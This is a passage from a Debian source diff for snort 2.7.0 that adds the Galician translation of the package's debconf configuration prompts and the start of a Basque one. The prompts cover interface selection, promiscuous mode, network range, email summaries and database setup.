+#~ "Por favor introduza o nome da máquina do servidor de base de dados pgsql "
+#~ "a utilizar."
--- snort-2.7.0.orig/debian/po/gl.po
+++ snort-2.7.0/debian/po/gl.po
@@ -0,0 +1,799 @@
+# Galician translation of snort's debconf templates
+# This file is distributed under the same license as the snort package.
+# Jacobo Tarrio <jtarrio@debian.org>, 2007, 2008.
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: snort\n"
+"Report-Msgid-Bugs-To: snort@packages.debian.org\n"
+"POT-Creation-Date: 2008-05-01 21:28+0200\n"
+"PO-Revision-Date: 2008-04-06 20:22+0100\n"
+"Last-Translator: Jacobo Tarrio <jtarrio@debian.org>\n"
+"Language-Team: Galician <proxecto@trasno.net>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "boot"
+msgstr "inicio"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "dialup"
+msgstr "conexión"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "manual"
+msgstr "manual"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid "Snort start method:"
+msgstr "Modo de inicio de Snort:"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid ""
+"Snort can be started during boot, when connecting to the net with pppd or "
+"only manually with the /usr/sbin/snort command."
+msgstr ""
+"Snort pode arrincarse no inicio do sistema, ao se conectar á rede mediante "
+"pppd ou só manualmente mediante a orde /usr/sbin/snort."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid "Interface(s) which Snort should listen on:"
+msgstr "Interfaces nas que Snort debe escoitar:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"This value is usually 'eth0', but this may be inappropriate in some network "
+"environments; for a dialup connection 'ppp0' might be more appropiate (see "
+"the output of '/sbin/ifconfig')."
+msgstr ""
+"Este valor adoita ser \"eth0\", pero pode non ser axeitado nalgunhas redes; "
+"para unha conexión por módem, \"ppp0\" pode ser a opción axeitada (consulte "
+"a saída da orde \"/sbin/ifconfig\")."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"Typically, this is the same interface as the 'default route' is on. You can "
+"determine which interface is used for this by running '/sbin/route -n' (look "
+"for '0.0.0.0')."
+msgstr ""
+"Normalmente esta é a mesma interface na que está a \"ruta por defecto\". "
+"Pode determinar a interface que se emprega executando a orde \"/sbin/route -n"
+"\" (busque \"0.0.0.0\")."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"It is also not uncommon to use an interface with no IP address configured in "
+"promiscuous mode. For such cases, select the interface in this system that "
+"is physically connected to the network that should be inspected, enable "
+"promiscuous mode later on and make sure that the network traffic is sent to "
+"this interface (either connected to a 'port mirroring/spanning' port in a "
+"switch, to a hub or to a tap)."
+msgstr ""
+"Tampouco é pouco habitual empregar unha interface sen IP e configurada en "
+"modo promiscuo. Nestes casos, escolla a interface deste sistema que estea "
+"conectada fisicamente á rede que se debe inspeccionar, active despois o modo "
+"propiscuo e asegúrese de que o tráfico da rede se envíe a esta interface "
+"(conectada a un porto \"espello/árbore\" dun switch, a un concentrador de "
+"rede ou a unha toma)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"You can configure multiple interfaces, just by adding more than one "
+"interface name separated by spaces. Each interface can have its own specific "
+"configuration."
+msgstr ""
+"Pode configurar varias interfaces engadindo varios nomes de interfaces "
+"separados mediante espazos. Cada interface pode ter a súa propia "
+"configuración específica."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid "Address range for the local network:"
+msgstr "Rango de enderezos da rede local:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please use the CIDR form - for example, 192.168.1.0/24 for a block of 256 "
+"addresses or 192.168.1.42/32 for just one. Multiple values should be comma-"
+"separated (without spaces)."
+msgstr ""
+"Empregue a forma CIDR - por exemplo, 192.168.1.0/24 para un bloque de 256 "
+"enderezos ou 192.168.1.42/32 para só un. Para fornecer unha lista, dea "
+"varios valores separados por comas (sen espazos)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please note that if Snort is configured to use multiple interfaces, it will "
+"use this value as the HOME_NET definition for all of them."
+msgstr ""
+"Teña en conta que se Snort está configurado para empregar varias interfaces, "
+"ha empregar este valor coma a definición HOME_NET de todas elas."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid "Should Snort disable promiscuous mode on the interface?"
+msgstr "¿Debería desactivar Snort o modo promíscuo na interface?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid ""
+"Disabling promiscuous mode means that Snort will only see packets addressed "
+"to the interface it is monitoring. Enabling it allows Snort to check every "
+"packet that passes the Ethernet segment even if it's a connection between "
+"two other computers."
+msgstr ""
+"Desactivar o modo promiscui significa que Snort só ha ver os paquetes "
+"dirixidos á interface que está a monitorizar. Activalo permite a Snort "
+"comprobar cada paquete que pase polo segmento Ethernet, incluso se é unha "
+"conexión entre outros dous ordenadores."
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid "Invalid interface"
+msgstr "Interface non válida"
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid ""
+"Snort is trying to use an interface which does not exist or is down. Either "
+"it is defaulting inappropriately to 'eth0', or you specified one which is "
+"invalid."
+msgstr ""
+"Snort tenta empregar unha interface que non existe ou está desconectada. É "
+"posible que o valor por defecto \"eth0\" non sexa axeitado, ou que indicara "
+"unha interface non válida."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid "Should Snort's testing order be changed to Pass|Alert|Log?"
+msgstr "¿Débese cambiar a orde de comprobación de Snort a Pass|Alert|Log?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid ""
+"Snort's default testing order is Alert|Pass|Log; if you accept this option, "
+"the order will be changed to Pass|Alert|Log, which can make it simpler to "
+"use Snort with some packet-filtering tools."
+msgstr ""
+"A orde de comprobación por defecto de Snort é Alert|Pass|Log; se acepta esta "
+"opción, a orde hase cambiar a Pass|Alert|Log, o que pode simplificar o uso "
+"de Snort con algunhas ferramentas de filtrado de paquetes."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Should daily summaries be sent by e-mail?"
+msgstr "¿Débense enviar os resumos diarios por email?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid ""
+"A cron job can be set up to send daily summaries of Snort logs to a selected "
+"e-mail address."
+msgstr ""
+"Pódese establecer unha tarefa de cron para enviar resumos diarios dos "
+"rexistros de Snort ao enderezo de email que se indique."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Please choose whether you want to activate this feature."
+msgstr "Indique se quere activar esta característica."
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid "Recipient of daily statistics mails:"
+msgstr "Destinatario dos emails diarios de estatísticas:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid ""
+"Please specify the e-mail address that should receive daily summaries of "
+"Snort logs."
+msgstr ""
+"Indique o enderezo que debería recibir os resumos diarios dos rexistros de "
+"Snort."
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Additional custom options:"
+msgstr "Opcións personalizadas adicionais:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Please specify any additional options Snort should use."
+msgstr "Indique as opcións adicionais que quere que empregue Snort."
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid "Minimum occurrences before alerts are reported:"
+msgstr "Número mínimo de aparicións antes de informar das alertas:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid ""
+"Please enter the minimum number of alert occurrences before a given alert is "
+"included in the daily statistics."
+msgstr ""
+"Introduza o número mínimo de aparicións das alertas antes de incluír unha "
+"delas nas estatísticas diarias."
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid "Snort restart required"
+msgstr "Precísase de reiniciar Snort"
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid ""
+"As Snort is manually launched, you need to run '/etc/init.d/snort' for the "
+"changes to take place."
+msgstr ""
+"Como se inicia Snort manualmente, ha ter que executar \"/etc/init.d/snort\" "
+"para que os cambios tomen efecto."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid "Configuration error"
+msgstr "Erro na configuración"
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"The current Snort configuration is invalid and will prevent Snort starting "
+"up normally. Please review and correct it."
+msgstr ""
+"A configuración actual de Snort non é valida e ha impedir que Snort se "
+"inicie normalmente. Revísea e corríxaa."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"To diagnose an error in a Snort configuration file, use '/usr/sbin/snort -T -"
+"c <file>'."
+msgstr ""
+"Para diagnosticar un erro nun ficheiro de configuración de Snort, empregue "
+"\"/usr/sbin/snort -T -c <ficheiro>\"."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid "Obsolete configuration file"
+msgstr "Ficheiro de configuración obsoleto"
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"This system uses an obsolete configuration file (/etc/snort/snort.common."
+"parameters) which has been automatically converted into the new "
+"configuration file format (at /etc/default/snort)."
+msgstr ""
+"Este sistema emprega un ficheiro de configuración obsoleto (/etc/snort/snort."
+"common.parameters) que se convertiu automáticamente ao novo formato de "
+"ficheiros de configuración (en /etc/default/snort)."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"Please review the new configuration and remove the obsolete one. Until you "
+"do this, the initialization script will not use the new configuration and "
+"you will not take advantage of the benefits introduced in newer releases."
+msgstr ""
+"Revise a nova configuración e elimine a obsoleta. Ata que o faga, o script "
+"de inicialización non ha empregar a nova configuración e non ha poder "
+"aproveitar as avantaxes introducidas nas novas versións."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid "Set up a database for snort-mysql to log to?"
+msgstr "¿Configurar unha base de datos para os rexistros de snort-mysql?"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"No database has been set up for Snort to log to. Before continuing, you "
+"should make sure you have:"
+msgstr ""
+"Non se configurou unha base de datos para que Snort rexistre nela. Antes de "
+"continuar debería asegurarse de ter:"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+" - the server host name (that server must allow TCP connections\n"
+"   from this machine);\n"
+" - a database on that server;\n"
+" - a username and password to access the database."
+msgstr ""
+" - o nome do servidor (o servidor debe admitir conexións TCP\n"
+"   desde esta máquina);\n"
+" - unha base de datos nese servidor;\n"
+" - un nome de usuario e contrasinal para acceder á base de datos."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"If some of these requirements are missing, reject this option and run with "
+"regular file logging support."
+msgstr ""
+"Se non ten algúns destes datos, decline esta opción e execute Snort co "
+"soporte de rexistro en ficheiros normal."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-mysql'."
+msgstr ""
+"Pódese reconfigurar o rexistro na base de datos a posteriori executando "
+"\"dpkg-reconfigure -plow snort-mysql\"."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid "Database server hostname:"
+msgstr "Nome do servidor de bases de datos:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid ""
+"Please specify the host name of a database server that allows incoming "
+"connections from this host."
+msgstr ""
+"Indique o nome dun servidor de bases de datos que admita conexións entrantes "
+"desta máquina."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid "Database name:"
+msgstr "Nome da base de datos:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid ""
+"Please specify the name of an existing database to which the database user "
+"has write access."
+msgstr ""
+"Introduza o nome dunha base de datos que xa exista para o que o usuario da "
+"base de datos teña acceso de escritura."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid "Username for database access:"
+msgstr "Nome de usuario para acceder á base de datos:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid ""
+"Please specify a database server username with write access to the database."
+msgstr ""
+"Indique un nome de usuario do servidor de bases de datos que teña acceso de "
+"escritura á base de datos."
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid "Password for the database connection:"
+msgstr "Contrasinal para a conexión á base de datos:"
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid ""
+"Please enter the password to use to connect to the Snort Alert database."
+msgstr ""
+"Introduza o contrasinal a empregar para se conectar á base de datos de "
+"alertas de Snort."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid "Configured database mandatory for Snort"
+msgstr "Snort precisa dunha base de datos configurada"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"Snort needs a configured database before it can successfully start up. In "
+"order to create the structure you need to run the following commands AFTER "
+"the package is installed:"
+msgstr ""
+"Snort precisa dunha base de datos configurada antes de se poder iniciar con "
+"éxito. Para crear a estructura ten que executar as seguintes ordes DESPOIS "
+"de instalar o paquete:"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <user> -h <host> -p <databasename>"
+msgstr ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <usuario> -h <servidor> -p <nomebasedatos>"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. MySQL "
+"will prompt you for the password."
+msgstr ""
+"Introduza os valores correctos para os nomes do usuario, servidor e base de "
+"datos. MySQL halle pedir o contrasinal."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"After you have created the database structure, you will need to start Snort "
+"manually."
+msgstr ""
+"Despois de crear a estructura da base de datos ha ter que iniciar Snort "
+"manualmente."
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid "Set up a database for snort-pgsql to log to?"
+msgstr "¿Configurar unha base de datos para os rexistros de snort-pgsql?"
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-pgsql'."
+msgstr ""
+"Pódese reconfigurar o rexistro na base de datos a posteriori executando "
+"\"dpkg-reconfigure -plow snort-pgsql\"."
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>"
+msgstr ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <usuario> -h <servidor> -W <basedatos>"
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. "
+"PostgreSQL will prompt you for the password."
+msgstr ""
+"Introduza os valores correctos para os nomes do usuario, servidor e base de "
+"datos. PostgreSQL halle pedir o contrasinal."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid "Deprecated configuration file"
+msgstr "Ficheiro de configuración obsoleto"
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The Snort configuration file (/etc/snort/snort.conf) uses deprecated options "
+"no longer available for this Snort release. Snort will not be able to start "
+"unless you provide a correct configuration file. Either allow the "
+"configuration file to be replaced with the one provided in this package or "
+"fix it manually by removing deprecated options."
+msgstr ""
+"O ficheiro de configuración de Snort (/etc/snort/snort.conf) emprega opcións "
+"obsoletas xa non dispoñibles nesta versión de Snort. Snort non ha poderse "
+"iniciar a menos que forneza un ficheiro de configuración correcto. Permita "
+"substituír o ficheiro de configuración co que se fornece neste paquete ou "
+"arránxeo manualmente eliminando as opcións obsoletas."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The following deprecated options were found in the configuration file: "
+"${DEP_CONFIG}"
+msgstr ""
+"Atopáronse as seguintes opcións obsoletas no ficheiro de configuración: "
+"${DEP_CONFIG}."
+
+#~ msgid "You are running Snort manually"
+#~ msgstr "Está a executar Snort manualmente"
+
+#~ msgid "There is an error in your configuration"
+#~ msgstr "Hai un erro na súa configuración"
+
+#~ msgid "boot, dialup, manual"
+#~ msgstr "inicio, conexión, manual"
+
+#~ msgid "When should Snort be started?"
+#~ msgstr "¿Cando se debe iniciar Snort?"
+
+#~ msgid ""
+#~ "If you want you can specify 'any', to not trust any side of the network."
+#~ msgstr ""
+#~ "Se quere pode especificar \"any\", para non confiar en ningún lado da "
+#~ "rede."
+
+#~ msgid ""
+#~ "One of the interfaces you specified is not valid (it might not exist on "
+#~ "the system or be down). Please introduce a valid interface when answering "
+#~ "the question of which interface(s) should Snort listen on."
+#~ msgstr ""
+#~ "Unha das interfaces que especificou non é válida (pode non existir no "
+#~ "sistema ou estar desactivada). Introduza unha interface válida ao "
+#~ "respostar á pregunta sobre as interfaces nas que ten que escoitar Snort."
+
+#~ msgid ""
+#~ "If you did not configure an interface then the package is trying to use "
+#~ "the default ('eth0') which does not seem to be valid in your system."
+#~ msgstr ""
+#~ "Se non configurou unha interface, o paquete tenta empregar a interface "
+#~ "por defecto (\"eth0\"), que non semella válida no seu sistema."
+
+#~ msgid ""
+#~ "If you change Snort's rules testing order to Pass|Alert|Log, they will be "
+#~ "applied in Pass->Alert->Log order, instead of standard Alert->Pass->Log. "
+#~ "This will prevent people from having to make huge Berky Packet Filter "
+#~ "command line arguments to filter their alert rules."
+#~ msgstr ""
+#~ "Se cambia a orde de comprobación de regras de Snort a Pass|Alert|Log, "
+#~ "hanse aplicar na orde Aceptar->Avisar->Rexistrar, no canto da orde "
+#~ "estándar Avisar->Aceptar->Rexistrar. Isto ha evitar que a xente teña que "
+#~ "crear argumentos de liña de ordes xigantes para filtrar as súas regras de "
+#~ "aviso."
+
+#~ msgid ""
+#~ "This Snort installation provides a cron job that runs daily and "
+#~ "summarises the information of Snort logs to a selected email address. If "
+#~ "you want to disable this feature say 'no' here."
+#~ msgstr ""
+#~ "Esta instalación de Snort fornece unha tarefa de cron que se executa cada "
+#~ "día e envía un resume da información dos rexistros de Snort a un enderezo "
+#~ "de email seleccionado. Se quere desactivar esta característica conteste "
+#~ "\"non\" aquí."
+
+#~ msgid ""
+#~ "A cron job running daily will summarise the information of the logs "
+#~ "generated by Snort using a script called 'snort-stat'. Introduce here the "
+#~ "recipient of these mails. The default value is the system administrator. "
+#~ "If you keep this value, make sure that the mail of the administrator is "
+#~ "redirected to a user that actually reads those mails."
+#~ msgstr ""
+#~ "Unha tarefa de cron que se executa diariamente ha resumir a información "
+#~ "dos rexistros xerados por Snort empregando un script chamado \"snort-stat"
+#~ "\". Introduza aquí o destinatario deses emails. O valor por defecto é o "
+#~ "administrador do sistema. Se conserva este valor, asegúrese de que o "
+#~ "email do administrador se redirixa a un usuario que realmente lea esas "
+#~ "mensaxes."
+
+#~ msgid ""
+#~ "If you want to specify custom options to Snort, please specify them here."
+#~ msgstr ""
+#~ "Se quere especificar opcións personalizadas para Snort, indíqueas aquí."
+
+#~ msgid ""
+#~ "Please restart Snort using:\n"
+#~ " /etc/init.d/snort start\n"
+#~ "to let the settings take effect."
+#~ msgstr ""
+#~ "Reinicie Snort empregando:\n"
+#~ " /etc/init.d/snort start\n"
+#~ "para que a configuración tome efecto."
+
+#~ msgid ""
+#~ "Your Snort configuration is not correct and Snort will not be able to "
+#~ "start up normally. Please review your configuration and fix it. If you do "
+#~ "not do this, Snort package upgrades will probably break. To check which "
+#~ "error is being generated run '/usr/sbin/snort -T -c /etc/snort/snort."
+#~ "conf' (or point to an alternate configuration file if you are using "
+#~ "different files for different interfaces)"
+#~ msgstr ""
+#~ "A súa configuración de Snort non é correcta e Snort non ha poderse "
+#~ "iniciar de xeito normal. Revise a súa configuración e arránxea. Se non o "
+#~ "fai, as actualizacións do paquete Snort han fallar. Para ver o erro que "
+#~ "se xera, execute \"/usr/sbin/snort -T -c /etc/snort/snort.conf\" (ou "
+#~ "apunte a un ficheiro de configuración alternativo se emprega ficheiros "
+#~ "diferentes para interfaces diferentes)."
+
+#~ msgid ""
+#~ "You only need to do this the first time you install snort-mysql. Before "
+#~ "you go on, make sure you have (1) the hostname of a machine running a "
+#~ "mysql server set up to allow tcp connections from this host, (2) a "
+#~ "database on that server, (3) a username and password to access the "
+#~ "database. If you don't have _all_ of these, either select 'no' and run "
+#~ "with regular file logging support, or fix this first. You can always "
+#~ "configure database logging later, by reconfiguring the snort-mysql "
+#~ "package with 'dpkg-reconfigure -plow snort-mysql'"
+#~ msgstr ""
+#~ "Só ten que o facer a primeira vez que instale snort-mysql. Antes de "
+#~ "continuar, asegúrese de ter (1) o nome dunha máquina que execute un "
+#~ "servidor mysql configurado para aceptar conexións tcp desta máquina, (2) "
+#~ "unha base de datos nese servidor, (3) un nome de usuario e contrasinal "
+#~ "para acceder á base de datos. Se non ten _todo_ iso, escolla \"non\" e "
+#~ "execute Snort co soporte normal de rexistro en ficheiros ou arranxe a "
+#~ "situación antes de nada. Sempre pode configurar despois o rexistro en "
+#~ "bases de datos, reconfigurando o paquete snort-mysql con \"dpkg-"
+#~ "reconfigure -plow snort-mysql\"."
+
+#~ msgid "Make sure this user has been created and has write access."
+#~ msgstr ""
+#~ "Asegúrese de que este usuario estea creado e teña acceso de escritura."
+
+#~ msgid "Snort needs a configured database to log to before it starts"
+#~ msgstr ""
+#~ "Snort precisa dunha base de datos configurada para gardar nela os "
+#~ "rexistros antes de se iniciar"
+
+#~ msgid ""
+#~ "You only need to do this the first time you install snort-pgsql. Before "
+#~ "you go on, make sure you have (1) the hostname of a machine running a "
+#~ "pgsql server set up to allow tcp connections from this host, (2) a "
+#~ "database on that server, (3) a username and password to access the "
+#~ "database. If you don't have _all_ of these, either select 'no' and run "
+#~ "with regular file logging support, or fix this first. You can always "
+#~ "configure database logging later, by reconfiguring the snort-pgsql "
+#~ "package with 'dpkg-reconfigure -plow snort-pgsql'"
+#~ msgstr ""
+#~ "Só ten que o facer a primeira vez que instale snort-pgsql. Antes de "
+#~ "continuar, asegúrese de ter (1) o nome dunha máquina que execute un "
+#~ "servidor pgsql configurado para aceptar conexións tcp desta máquina, (2) "
+#~ "unha base de datos nese servidor, (3) un nome de usuario e contrasinal "
+#~ "para acceder á base de datos. Se non ten _todo_ iso, escolla \"non\" e "
+#~ "execute Snort co soporte normal de rexistro en ficheiros ou arranxe a "
+#~ "situación antes de nada. Sempre pode configurar despois o rexistro en "
+#~ "bases de datos, reconfigurando o paquete snort-pgsql con \"dpkg-"
+#~ "reconfigure -plow snort-pgsql\"."
+
+#~ msgid ""
+#~ "Snort needs a configured database before it can successfully start up. In "
+#~ "order to create the structure you need to run the following commands "
+#~ "AFTER the package is installed:\n"
+#~ " cd /usr/share/doc/snort-pgsql/\n"
+#~ " zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>\n"
+#~ "Fill in the correct values for the user, host, and database names. "
+#~ "PostgreSQL will prompt you for the password."
+#~ msgstr ""
+#~ "Snort precisa dunha base de datos configurada antes de se poder iniciar "
+#~ "con éxito. Para crear a estructura ten que executar as seguintes ordes "
+#~ "DESPOIS de instalar o paquete:\n"
+#~ " cd /usr/share/doc/snort-pgsql/\n"
+#~ " zcat create_postgresql.gz | psql -u <usuario> -h <servidor> -p "
+#~ "<nomebasedatos>\n"
+#~ "Encha os valores corectos para o usuario, servidor e nome da base de "
+#~ "datos. PostgreSQL halle pedir o contrasinal."
+
+#~ msgid "Your configuration file is deprecated"
+#~ msgstr "O seu ficheiro de configuración está obsoleto"
+
+#~ msgid ""
+#~ "Please enter the name(s) of the interface(s) which Snort should listen "
+#~ "on.  The names of the available interfaces are provided by either "
+#~ "running  'ip link show' of 'ifconfig'. This value usually is 'eth0', but "
+#~ "you might want to vary this depending on your environment, if you are "
+#~ "using a dialup connection 'ppp0' might be more appropiate."
+#~ msgstr ""
+#~ "Introduza os nomes das interfaces nas que debería escoitar Snort. Os "
+#~ "nomes das interfaces dispoñibles pódense consultar executando \"ip link "
+#~ "show\" ou \"ifconfig\". Este valor adoita ser \"eth0\", pero pode "
+#~ "cambialo dependendo do seu ambiente. Se emprega unha conexión por módem, "
+#~ "\"ppp0\" pode ser máis axeitado."
+
+#~ msgid "Please enter the address range that Snort will listen on."
+#~ msgstr "Escolla o rango de enderezos nos que ha escoitar Snort."
+
+#~ msgid ""
+#~ "Disable promiscuous mode if you are configuring Snort on an interface "
+#~ "without a configured IP address."
+#~ msgstr ""
+#~ "Desactive o modo promiscuo se configura Snort nunha interface sen un "
+#~ "enderezo IP configurado."
+
+#~ msgid "Please enter the hostname of the mysql database server to use."
+#~ msgstr "Introduza o nome do servidor da base de datos mysql a empregar."
+
+#~ msgid "Please enter the name of the database to use."
+#~ msgstr "Introduza o nome da base de datos a empregar."
+
+#~ msgid "Please enter the name of the database user you want to use."
+#~ msgstr "Introduza o nome do usuario da base de datos a empregar."
+
+#~ msgid "Please enter the hostname of the pgsql database server to use."
+#~ msgstr "Introduza o nome do servidor da base de datos pgsql a empregar."
--- snort-2.7.0.orig/debian/po/eu.po
+++ snort-2.7.0/debian/po/eu.po
@@ -0,0 +1,602 @@
+# translation of snort-eu.po to Euskara
+# Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER
+# This file is distributed under the same license as the PACKAGE package.
+#
+# Piarres Beobide <pi@beobide.net>, 2008.
+msgid ""
+msgstr ""
+"Project-Id-Version: snort-eu\n"
+"Report-Msgid-Bugs-To: snort@packages.debian.org\n"
+"POT-Creation-Date: 2008-05-01 21:28+0200\n"
+"PO-Revision-Date: 2008-04-30 12:13+0200\n"
+"Last-Translator: Piarres Beobide <pi@beobide.net>\n"
+"Language-Team: Euskara <debian-l10n-basque@lists.debian.org>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Generator: KBabel 1.11.4\n"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "boot"
+msgstr "abioan"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "dialup"
+msgstr "markatzean"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
